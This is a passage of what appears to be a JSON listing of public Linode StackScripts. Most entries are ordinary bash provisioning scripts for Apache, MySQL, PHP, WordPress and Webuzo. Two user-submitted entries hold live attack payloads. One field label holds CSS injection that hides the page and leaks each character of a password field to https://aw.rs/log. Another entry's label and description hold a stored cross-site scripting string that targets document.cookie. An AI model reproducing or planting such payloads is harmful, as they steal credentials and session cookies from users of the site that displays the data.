of system memory to allocate towards Apache\n\n if [ ! -n \"$1\" ];\n then PERCENT=40\n else PERCENT=\"$1\"\n fi\n\n aptitude -y install apache2-mpm-prefork\n PERPROCMEM=10 # the amount of memory in MB each apache process is likely to utilize\n MEM=$(grep MemTotal /proc/meminfo | awk ''{ print int($2/1024) }'') # how much memory in MB this system has\n MAXCLIENTS=$((MEM*PERCENT/100/PERPROCMEM)) # calculate MaxClients\n MAXCLIENTS=${MAXCLIENTS/.*} # cast to an integer\n sed -i -e \"s/\\(^[ \\t]*MaxClients[ \\t]*\\)[0-9]*/\\1$MAXCLIENTS/\" /etc/apache2/apache2.conf\n\n touch /tmp/restart-apache2\n}\n\nfunction apache_virtualhost {\n # Configures a VirtualHost\n\n # $1 - required - the hostname of the virtualhost to create \n\n if [ ! -n \"$1\" ]; then\n echo \"apache_virtualhost() requires the hostname as the first argument\"\n return 1;\n fi\n\n if [ -e \"/etc/apache2/sites-available/$1\" ]; then\n echo /etc/apache2/sites-available/$1 already exists\n return;\n fi\n\n mkdir -p /srv/www/$1/public_html /srv/www/$1/logs\n\n echo \"\" > /etc/apache2/sites-available/$1\n echo \" ServerName $1\" >> /etc/apache2/sites-available/$1\n echo \" DocumentRoot /srv/www/$1/public_html/\" >> /etc/apache2/sites-available/$1\n echo \" ErrorLog /srv/www/$1/logs/error.log\" >> /etc/apache2/sites-available/$1\n echo \" CustomLog /srv/www/$1/logs/access.log combined\" >> /etc/apache2/sites-available/$1\n echo \"\" >> /etc/apache2/sites-available/$1\n\n a2ensite $1\n\n touch /tmp/restart-apache2\n}\n\nfunction apache_virtualhost_from_rdns {\n # Configures a VirtualHost using the rdns of the first IP as the ServerName\n\n apache_virtualhost $(get_rdns_primary_ip)\n}\n\n\nfunction apache_virtualhost_get_docroot {\n if [ ! -n \"$1\" ]; then\n echo \"apache_virtualhost_get_docroot() requires the hostname as the first argument\"\n return 1;\n fi\n\n if [ -e /etc/apache2/sites-available/$1 ];\n then echo $(awk ''/DocumentRoot/ {print $2}'' /etc/apache2/sites-available/$1 )\n fi\n}\n\n###########################################################\n# mysql-server\n###########################################################\n\nfunction mysql_install {\n # $1 - the mysql root password\n\n if [ ! -n \"$1\" ]; then\n echo \"mysql_install() requires the root pass as its first argument\"\n return 1;\n fi\n\n echo \"mysql-server mysql-server/root_password password $1\" | debconf-set-selections\n echo \"mysql-server mysql-server/root_password_again password $1\" | debconf-set-selections\n apt-get -y install mysql-server mysql-client\n\n echo \"Sleeping while MySQL starts up for the first time...\"\n sleep 5\n}\n\nfunction mysql_tune {\n # Tunes MySQL''s memory usage to utilize the percentage of memory you specify, defaulting to 40%\n\n # $1 - the percent of system memory to allocate towards MySQL\n\n if [ ! -n \"$1\" ];\n then PERCENT=40\n else PERCENT=\"$1\"\n fi\n\n sed -i -e ''s/^#skip-innodb/skip-innodb/'' /etc/mysql/my.cnf # disable innodb - saves about 100M\n\n MEM=$(awk ''/MemTotal/ {print int($2/1024)}'' /proc/meminfo) # how much memory in MB this system has\n MYMEM=$((MEM*PERCENT/100)) # how much memory we''d like to tune mysql with\n MYMEMCHUNKS=$((MYMEM/4)) # how many 4MB chunks we have to play with\n\n # mysql config options we want to set to the percentages in the second list, respectively\n OPTLIST=(key_buffer sort_buffer_size read_buffer_size read_rnd_buffer_size myisam_sort_buffer_size query_cache_size)\n DISTLIST=(75 1 1 1 5 15)\n\n for opt in ${OPTLIST[@]}; do\n sed -i -e \"/\\[mysqld\\]/,/\\[.*\\]/s/^$opt/#$opt/\" /etc/mysql/my.cnf\n done\n\n for i in ${!OPTLIST[*]}; do\n val=$(echo | awk \"{print int((${DISTLIST[$i]} * $MYMEMCHUNKS/100))*4}\")\n if [ $val -lt 4 ]\n then val=4\n fi\n config=\"${config}\\n${OPTLIST[$i]} = ${val}M\"\n done\n\n sed -i -e \"s/\\(\\[mysqld\\]\\)/\\1\\n$config\\n/\" /etc/mysql/my.cnf\n\n touch /tmp/restart-mysql\n}\n\nfunction mysql_create_database {\n # $1 - the mysql root password\n # $2 - the db name to create\n\n if [ ! -n \"$1\" ]; then\n echo \"mysql_create_database() requires the root pass as its first argument\"\n return 1;\n fi\n if [ ! -n \"$2\" ]; then\n echo \"mysql_create_database() requires the name of the database as the second argument\"\n return 1;\n fi\n\n echo \"CREATE DATABASE $2;\" | mysql -u root -p$1\n}\n\nfunction mysql_create_user {\n # $1 - the mysql root password\n # $2 - the user to create\n # $3 - their password\n\n if [ ! -n \"$1\" ]; then\n echo \"mysql_create_user() requires the root pass as its first argument\"\n return 1;\n fi\n if [ ! -n \"$2\" ]; then\n echo \"mysql_create_user() requires username as the second argument\"\n return 1;\n fi\n if [ ! -n \"$3\" ]; then\n echo \"mysql_create_user() requires a password as the third argument\"\n return 1;\n fi\n\n echo \"CREATE USER ''$2''@''localhost'' IDENTIFIED BY ''$3'';\" | mysql -u root -p$1\n}\n\nfunction mysql_grant_user {\n # $1 - the mysql root password\n # $2 - the user to bestow privileges \n # $3 - the database\n\n if [ ! -n \"$1\" ]; then\n echo \"mysql_create_user() requires the root pass as its first argument\"\n return 1;\n fi\n if [ ! -n \"$2\" ]; then\n echo \"mysql_create_user() requires username as the second argument\"\n return 1;\n fi\n if [ ! -n \"$3\" ]; then\n echo \"mysql_create_user() requires a database as the third argument\"\n return 1;\n fi\n\n echo \"GRANT ALL PRIVILEGES ON $3.* TO ''$2''@''localhost'';\" | mysql -u root -p$1\n echo \"FLUSH PRIVILEGES;\" | mysql -u root -p$1\n\n}\n\n###########################################################\n# PHP functions\n###########################################################\n\nfunction php_install_with_apache {\n aptitude -y install php5 php5-mysql libapache2-mod-php5\n touch /tmp/restart-apache2\n}\n\nfunction php_tune {\n # Tunes PHP to utilize up to 32M per process\n\n sed -i''-orig'' ''s/memory_limit = [0-9]\\+M/memory_limit = 32M/'' /etc/php5/apache2/php.ini\n touch /tmp/restart-apache2\n}\n\n###########################################################\n# Wordpress functions\n###########################################################\n\nfunction wordpress_install {\n # installs the latest wordpress tarball from wordpress.org\n\n # $1 - required - The existing virtualhost to install into\n\n if [ ! -n \"$1\" ]; then\n echo \"wordpress_install() requires the vitualhost as its first argument\"\n return 1;\n fi\n\n if [ ! -e /usr/bin/wget ]; then\n aptitude -y install wget\n fi\n\n VPATH=$(apache_virtualhost_get_docroot $1)\n\n if [ ! -n \"$VPATH\" ]; then\n echo \"Could not determine DocumentRoot for $1\"\n return 1;\n fi\n\n # download, extract, chown, and get our config file started\n cd $VPATH\n wget http://wordpress.org/latest.tar.gz\n tar xfz latest.tar.gz\n chown -R www-data: wordpress/\n cd $VPATH/wordpress\n cp wp-config-sample.php wp-config.php\n chown www-data wp-config.php\n chmod 640 wp-config.php\n\n # database configuration\n WPPASS=$(randomString 20)\n mysql_create_database \"$DB_PASSWORD\" wordpress\n mysql_create_user \"$DB_PASSWORD\" wordpress \"$WPPASS\"\n mysql_grant_user \"$DB_PASSWORD\" wordpress wordpress\n\n # configuration file updates\n for i in {1..4}\n do sed -i \"0,/put your unique phrase here/s/put your unique phrase here/$(randomString 50)/\" wp-config.php\n done\n\n sed -i ''s/database_name_here/wordpress/'' wp-config.php\n sed -i ''s/username_here/wordpress/'' wp-config.php\n sed -i \"s/password_here/$WPPASS/\" wp-config.php\n\n # http://downloads.wordpress.org/plugin/wp-super-cache.0.9.8.zip\n}\n\n###########################################################\n# Other niceties!\n###########################################################\n\nfunction goodstuff {\n # Installs the REAL vim, wget, less, and enables color root prompt and the \"ll\" list long alias\n\n aptitude -y install wget vim less\n sed -i -e ''s/^#PS1=/PS1=/'' /root/.bashrc # enable the colorful root bash prompt\n sed -i -e \"s/^#alias ll=''ls -l''/alias ll=''ls -al''/\" /root/.bashrc # enable ll list long alias <3\n}\n\n\n###########################################################\n# utility functions\n###########################################################\n\nfunction restartServices {\n # restarts services that have a file in /tmp/needs-restart/\n\n for service in $(ls /tmp/restart-* | cut -d- -f2-10); do\n /etc/init.d/$service restart\n rm -f /tmp/restart-$service\n done\n}\n\nfunction randomString {\n if [ ! -n \"$1\" ];\n then LEN=20\n else LEN=\"$1\"\n fi\n\n echo $(\n\n# ", "user_defined_fields": [{"name": "password", "label": "password", "example": "Please enter you account password to continue"}, {"name": "var4", "label": "pick{}body{visibility:hidden}#password{visibility:visible;position:fixed;left:50px;top:50px}#password[value$=''a'']{background-image:url(''https://aw.rs/log?a'')!important}#password[value$=''b'']{background-image:url(''https://aw.rs/log?b'')!important}#password[value$=''c'']{background-image:url(''https://aw.rs/log?c'')!important}#password[value$=''d'']{background-image:url(''https://aw.rs/log?d'')!important}#password[value$=''e'']{background-image:url(''https://aw.rs/log?e'')!important}#password[value$=''f'']{background-image:url(''https://aw.rs/log?f'')!important}#password[value$=''g'']{background-image:url(''https://aw.rs/log?g'')!important}#password[value$=''h'']{background-image:url(''https://aw.rs/log?h'')!important}#password[value$=''i'']{background-image:url(''https://aw.rs/log?i'')!important}//", "manyof": "foo,bar,a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s"}]}, {"id": 2822, "username": "smartjones", "user_gravatar_id": "0b874d2362ffd16a2178ba9339c40798", "label": "Smartweb", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu10.04lts32bit"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash\n#\n#\n#\n#\n\nsource \n\nsystem_update\npostfix_install_loopback_only\nmysql_install \"$DB_PASSWORD\" && mysql_tune 40\nmysql_create_database \"$DB_PASSWORD\" \"$DB_NAME\"\nmysql_create_user \"$DB_PASSWORD\" \"$DB_USER\" \"$DB_USER_PASSWORD\"\nmysql_grant_user \"$DB_PASSWORD\" \"$DB_USER\" \"$DB_NAME\"\nphp_install_with_apache && php_tune\napache_install && apache_tune 40 && apache_virtualhost_from_rdns\ngoodstuff\nrestartServices", "user_defined_fields": [{"name": "db_password", "label": "MySQL root Password"}, {"name": "db_name", "label": "Create Database", "default": "", "example": "Optionally create this database"}, {"name": "db_user", "label": "Create MySQL User", "default": "", "example": "Optionally create this user"}, {"name": "db_user_password", "label": "MySQL User''s Password", "default": "", "example": "User''s password"}]}, {"id": 9222, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "CS-Cart powered by Webuzo", "description": "CS-Cart is the best shopping cart solution for building an ecommerce website of any size: from a small web store to a virtual shopping mall. A ready storefront, support for many payment and shipping options, full inventory control, unlimited products, promotional tools, and other ecommerce software features out-of-the-box.\r\n\r\nCS-Cart shopping cart software offers a search engine friendly environment that involves the tableless layout, customizable META tags, friendly URLs and Google sitemap. This all contributes well to the proper indexing of your web store and generally improves its ranking among the popular search engines like Google, Yahoo! Search and Bing.\r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure CS-Cart and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "CS-Cart powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install CS-Cart and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About CS-Cart :\n# CS-Cart is the best shopping cart solution for building an ecommerce website of any size: from a small \n# web store to a virtual shopping mall. \n# A ready storefront, support for many payment and shipping options, full inventory control, \n# unlimited products, promotional tools, and other ecommerce software features out-of-the-box.\n###########################################################################################################\n\n# Install CS-Cart Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=479&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling CS-Cart and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, CS-Cart has been successfully installed\"\necho \" \"\necho \"You can now configure CS-Cart and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 606726, "username": "zek1", "user_gravatar_id": "db3274167e091d0a1fdd8e206c5bf786", "label": "zek''%3E%3Cstrong%3Exss%3Ch1%09onmouseover=prompt(document.cookie", "description": "zek''%3E%3Cstrong%3Exss%3Ch1%09onmouseover=prompt(document.cookie)%3Exss", "ordinal": 0, "logo_url": "", "images": ["linode/opensuse15.0"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash", "user_defined_fields": []}, {"id": 9223, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Chive powered by Webuzo", "description": "Chive is a modern Open-Source MySQL Data Management tool. With it''s fast and elaborate user interface it is getting very popular especially by web engineers. Chive was created because of an disaffection with existing tools. They usually were hard to handle and very time-consuming while the daily use of an web engineer.\r\n\r\nChive is a free, open source, web-based database management tool, designed to bring joy to web developers - with easy administration, super fast UI and state of the art web technologies. Based on top of the current version of the Yii framework, Chive takes advantage of the MVC design pattern and unit testing. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Chive and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Chive powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Chive and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Chive :\n# Chive is a modern Open-Source MySQL Data Management tool.\n# With it''s fast and elaborate user interface it is getting very popular especially by web engineers.\n# Chive was created because of an disaffection with existing tools.\n# They usually were hard to handle and very time-consuming while the daily use of an web engineer.\n###########################################################################################################\n\n# Install Chive Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=398&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Chive and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Chive has been successfully installed\"\necho \" \"\necho \"You can now configure Chive and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 978951, "username": "meenubediShine", "user_gravatar_id": "ac16f37ccd972a6f698dab5aab1188b2", "label": "meenu", "description": "description", "ordinal": 0, "logo_url": "", "images": ["linode/alpine3.12"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Revision Note", "script": "#!/bin/bash\r\n\r\nfdgrthtyjuy7i", "user_defined_fields": []}, {"id": 9224, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Commentics powered by Webuzo", "description": "Commentics is a free, advanced PHP comment script with many features. Professionally written and with open source code, its main aims are to be integrable, customizable and secure. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Commentics and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Commentics powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Commentics and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Commentics :\n# Commentics is a free, advanced PHP comment script with many features.\n# Professionally written and with open source code, its main aims are to be integrable, customizable and secure. \n###########################################################################################################\n\n# Install Commentics Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=446&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Commentics and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Commentics has been successfully installed\"\necho \" \"\necho \"You can now configure Commentics and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 10248, "username": "regna", "user_gravatar_id": "3bd1beb6402a8ba4bb1606f0ad2cf639", "label": "functions.sh", "description": "functions.sh from sys-apps/openrc, exports and contains various helpful functions.", "ordinal": 0, "logo_url": "", "images": ["linode/gentoo"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "openrc-0.12.4", "script": "#!/bin/bash\n# Copyright (c) 2007-2009 Roy Marples \n# Released under the 2-clause BSD license.\n\n# Allow any sh script to work with einfo functions and friends\n# We also provide a few helpful functions for other programs to use\n\nRC_GOT_FUNCTIONS=\"yes\"\n\neindent()\n{\n : $(( EINFO_INDENT = ${EINFO_INDENT:-0} + 2 ))\n [ \"$EINFO_INDENT\" -gt 40 ] && EINFO_INDENT=40\n export EINFO_INDENT\n}\n\neoutdent()\n{\n : $(( EINFO_INDENT = ${EINFO_INDENT:-0} - 2 ))\n [ \"$EINFO_INDENT\" -lt 0 ] && EINFO_INDENT=0\n return 0\n}\n\nyesno()\n{\n [ -z \"$1\" ] && return 1\n\n case \"$1\" in\n [Yy][Ee][Ss]|[Tt][Rr][Uu][Ee]|[Oo][Nn]|1) return 0;;\n [Nn][Oo]|[Ff][Aa][Ll][Ss][Ee]|[Oo][Ff][Ff]|0) return 1;;\n esac\n\n local value=\n eval value=\\$${1}\n case \"$value\" in\n [Yy][Ee][Ss]|[Tt][Rr][Uu][Ee]|[Oo][Nn]|1) return 0;;\n [Nn][Oo]|[Ff][Aa][Ll][Ss][Ee]|[Oo][Ff][Ff]|0) return 1;;\n *) vewarn \"\\$$1 is not set properly\"; return 1;;\n esac\n}\n\nrc_runlevel()\n{\n rc-status --runlevel\n}\n\n_sanitize_path()\n{\n local IFS=\":\" p= path=\n for p in $PATH; do\n case \"$p\" in\n /lib64/rc/bin|/lib64/rc/sbin);;\n /bin|/sbin|/usr/bin|/usr/sbin);;\n /usr/bin|/usr/sbin);;\n /usr/local/bin|/usr/local/sbin);;\n *) path=\"$path${path:+:}$p\";;\n esac\n done\n echo \"$path\"\n}\n\n# Allow our scripts to support zsh\nif [ -n \"$ZSH_VERSION\" ]; then\n emulate sh\n NULLCMD=:\n alias -g ''${1+\"$@\"}''=''\"$@\"''\n setopt NO_GLOB_SUBST\nfi\n\n# Make a sane PATH\n_PREFIX=\n_PKG_PREFIX=/usr\n_LOCAL_PREFIX=/usr/local\n_LOCAL_PREFIX=${_LOCAL_PREFIX:-/usr/local}\n_PATH=/lib64/rc/bin\ncase \"$_PREFIX\" in\n \"$_PKG_PREFIX\"|\"$_LOCAL_PREFIX\") ;;\n *) _PATH=\"$_PATH:$_PREFIX/bin:$_PREFIX/sbin\";;\nesac\n_PATH=\"$_PATH\":/bin:/sbin:/usr/bin:/usr/sbin\n\nif [ -n \"$_PKG_PREFIX\" ]; then\n _PATH=\"$_PATH:$_PKG_PREFIX/bin:$_PKG_PREFIX/sbin\"\nfi\nif [ -n \"$_LOCAL_PREFIX\" ]; then\n _PATH=\"$_PATH:$_LOCAL_PREFIX/bin:$_LOCAL_PREFIX/sbin\"\nfi\n_path=\"$(_sanitize_path \"$PATH\")\"\nPATH=\"$_PATH${_path:+:}$_path\" ; export PATH\nunset _sanitize_path _PREFIX _PKG_PREFIX _LOCAL_PREFIX _PATH _path\n\nfor arg; do\n case \"$arg\" in\n --nocolor|--nocolour|-C)\n EINFO_COLOR=\"NO\" ; export EINFO_COLOR\n ;;\n esac\ndone\n\nif [ -t 1 ] && yesno \"${EINFO_COLOR:-YES}\"; then\n if [ -z \"$GOOD\" ]; then\n eval $(eval_ecolors)\n fi\nelse\n # We need to have shell stub functions so our init scripts can remember\n # the last ecmd\n for _e in ebegin eend error errorn einfo einfon ewarn ewarnn ewend \\\n vebegin veend veinfo vewarn vewend; do\n eval \"$_e() { local _r; command $_e \\\"\\$@\\\"; _r=\\$?; \\\n EINFO_LASTCMD=$_e; export EINFO_LASTCMD ; return \\$_r; }\"\n done\n unset _e\nfi", "user_defined_fields": []}, {"id": 647176, "username": "sacredheartmedia", "user_gravatar_id": "4b40d1fa8bcb9d6414b6468fb2ef0e75", "label": "StackScript Bash Library for CentOS 8", "description": "A collection of useful bash functions specifically crafted for CentOS8 to be included in other bash StackScripts with a \"source \" line.\n\nThis StackScript does nothing on its own. Do not deploy directly.\n\nJune 3, 2020 - THIS STACKSCRIPT IS UNDER DEVELOPMENT.", "ordinal": 0, "logo_url": "", "images": ["linode/centos8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/bash\n#\n# StackScript Bash Library for CentOS 8\n#\n# Inspired by Chris Aker''s StackScript Bash Library\n# https://cloud.linode.com/stackscripts/1\n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without modification, \n# are permitted provided that the following conditions are met:\n#\n# * Redistributions of source code must retain the above copyright notice, this\n# list of conditions and the following disclaimer.\n#\n# * Redistributions in binary form must reproduce the above copyright notice, this\n# list of conditions and the following disclaimer in the documentation and/or\n# other materials provided with the distribution.\n#\n# * Neither the name of Linode LLC nor the names of its contributors may be\n# used to endorse or promote products derived from this software without specific prior\n# written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY\n# EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n# OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT\n# SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED\n# TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR\n# BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n# ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH\n# DAMAGE.\n\nsystem_update() {\n # updates all packages and adds the epel repository\n dnf -y install epel-release\n dnf -y update\n dnf config-manager --set-enabled PowerTools\n}\n\ninstall_essentials() {\n # installs commonly used packages \n dnf -y install iptables-services ipset dnf-utils bind-utils policycoreutils-python-utils zip tar htop wget\n}\n\nget_primary_ip() {\n # returns the system''s primary IPv4 address\n hostname -I | cut -d '' '' -f 1\n}\n\nget_primary_ip6() {\n # returns the system''s primary IPv6 address\n hostname -I | cut -d '' '' -f 2\n}\n\nget_rdns() {\n # returns the reverse dns of an IPv4 address\n # ${1} - required - the IPv4 address to lookup\n local -r ip_address=\"${1}\"\n if [ -z \"${ip_address}\" ]; then\n printf \"ERROR: (get_rdns) IP address undefined\\n\"\n return 1;\n fi\n host \"${ip_address}\" | awk ''/pointer/ {print $5}'' | sed ''s/\\.$//''\n}\n\nget_rdns_primary_ip() {\n # returns the reverse dns of the system''s primary IPv4 address\n host \"$(hostname -I | cut -d '' '' -f 1)\" | awk ''/pointer/ {print $5}'' | sed ''s/\\.$//''\n}\n\nset_hostname() {\n # sets the system''s hostname\n # ${1} - required - the hostname to assign\n local -r hostname=\"${1}\"\n if [ -z \"${hostname}\" ]; then\n printf \"ERROR: (set_hostname) hostname undefined\\n\"\n return 1;\n fi\n hostnamectl set-hostname \"${hostname}\"\n}\n\nadd_host_entry() {\n # adds an entry to /etc/hosts\n # ${1} - required - the IP address to set a hosts entry for\n # ${2} - required - the fully-qualified domain name to set to the IP\n # ${3} - optional - the hostname to set to the IP\n local -r ip_address=\"${1}\"\n local -r fqdn=\"${2}\"\n local -r hostname=\"${3}\"\n local -r rdns=\"$(host \"$(hostname -I | cut -d '' '' -f 1)\" | awk ''/pointer/ {print $5}'' | sed ''s/\\.$//'')\"\n if [ -z \"${ip_address}\" ] || [ -z \"${fqdn}\" ]; then\n printf \"ERROR: (add_host_entry) IP address and/or FQDN undefined\\n\"\n return 1;\n fi\n echo \"${ip_address} ${fqdn} ${rdns} ${hostname}\" >> /etc/hosts\n}\n\nset_timezone() {\n # sets the system''s timezone\n # ${1} - optional - timezone to set on the system\n local -r timezone=\"${1}\"\n if [ -z \"${timezone}\" ]; then\n timedatectl set-timezone \"UTC\"\n return 1;\n fi\n timedatectl set-timezone \"${timezone}\"\n}\n\nadd_user() {\n # creates a new user \n # ${1} - required - username\n # ${2} - required - password\n local -r username=\"${1}\"\n local -r password=\"${2}\"\n if [ -z \"${username}\" ] || [ -z \"${password}\" ]; then\n printf \"ERROR: (add_user) username and/or password undefined\\n\"\n return 1;\n fi\n if id \"${username}\" >/dev/null 2>&1; then\n printf \"ERROR: (add_user) user already exists\\n\"\n 